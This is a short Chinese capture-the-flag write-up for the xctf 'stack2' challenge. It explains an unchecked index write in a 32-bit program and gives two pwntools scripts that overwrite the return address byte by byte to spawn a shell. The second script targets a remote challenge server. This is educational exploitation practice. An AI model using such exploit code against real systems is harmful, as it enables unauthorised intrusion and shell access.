xctf - stack2

文件check一下,几乎全开了

运行一下程序,好像很正常呢:

再来一个大的,好像有点儿问题,变1.00了

在ida中查看,在输入的时候没有检查数据大小

可以通过劫持eip获取shell。程序偏移0x84,程序中读取了低位,需要逐位添加地址

system(‘/bin/bash’)地址:0x0804859b

#!/usr/bin/env python
#coding:utf-8 from pwn import * p = process('./stack2')
#p = remote('xxxxx',xxxx) system_bish_addr = 0x0804859b leave_offset = 0x84 def write_adrr(addr,va):
p.sendline('3')
p.recvuntil('which number to change:\n')
p.sendline(str(addr))
p.recvuntil('new number:\n')
p.sendline(str(va))
p.recvuntil('5. exit\n') #payload = xxxxx p.sendlineafter('How many numbers you have:\n','1') p.sendlineafter('Give me your numbers\n','2') p.recvuntil('5. exit\n') write_adrr(leave_offset,0x9b)
write_adrr(leave_offset+1,0x85)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08) p.sendline('5')
p.interactive()

本地成功,远程失败,提示没有bash,只有sh

需要改一下代码:

先找一下程序的system地址和sh地址:

system_addr = 0x08048450

bish_addr = 0x08048987

修改后:

#!/usr/bin/env python
#coding:utf-8 from pwn import * #p = process('./stack2')
p = remote('111.198.29.45',58596) system_addr = 0x08048450
bish_addr = 0x08048987 leave_offset = 0x84 def write_adrr(addr,va):
p.sendline('3')
p.recvuntil('which number to change:\n')
p.sendline(str(addr))
p.recvuntil('new number:\n')
p.sendline(str(va))
p.recvuntil('5. exit\n') #payload = xxxxx p.sendlineafter('How many numbers you have:\n','1') p.sendlineafter('Give me your numbers\n','2') p.recvuntil('5. exit\n') write_adrr(leave_offset,0x50)
write_adrr(leave_offset+1,0x84)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08) leave_offset +=8
write_adrr(leave_offset,0x87)
write_adrr(leave_offset+1,0x89)
write_adrr(leave_offset+2,0x04)
write_adrr(leave_offset+3,0x08)
p.sendline('5')
p.interactive()

成功!

最新文章

  1. RP
  2. 2015年度总结--javaWeb
  3. Microsoft.Web.Redis.RedisSessionStateProvider
  4. Django单元测试二三事
  5. @font-face
  6. JQuery调用iframe父页面元素与方法
  7. Tomcat 9.0安装配置
  8. mysql 异常处理
  9. Runtime —— 从应用场景说起
  10. CI Weekly #13 | 用更 Geek 的方式配置你的 CI 工作流
  11. 关于config文件中AppSettings和ConnectionStrings的用法跟区别(转)
  12. LVS-1
  13. JavaScript--元素对象方法setAttribute() 和appendChild()
  14. 浮动ip cz
  15. ASP.NET MVC 重命名[命名空间]而导致的错误及发现的ASP.NET MVC Bug一枚
  16. Day71 分页,cookie and Session
  17. 渗透测试===kali linux的安装
  18. 【小思考】Python的float转换精度损失所想到的
  19. Django 自带密码加密,自定密码加密方式 及自定义验证方式
  20. php 文件上传$_FILES中error返回值详解

热门文章

  1. mysql事务的实现原理
  2. 06_MySQL数据类型
  3. MacOS下PHP7.1升级到PHP7.4.15
  4. Asp.Net Core学习笔记:(二)视图、模型、持久化、文件、错误处理、日志
  5. Hyperf-JsonRpc使用
  6. 将VMware虚拟机最小化到托盘栏
  7. 第39天学习打卡(UDP多线程在线咨询 URL)
  8. Tango with Django 1.9 中文——1.概述
  9. 解决:layUI数据表格+简单查询
  10. JS 字符数组和数字数组转换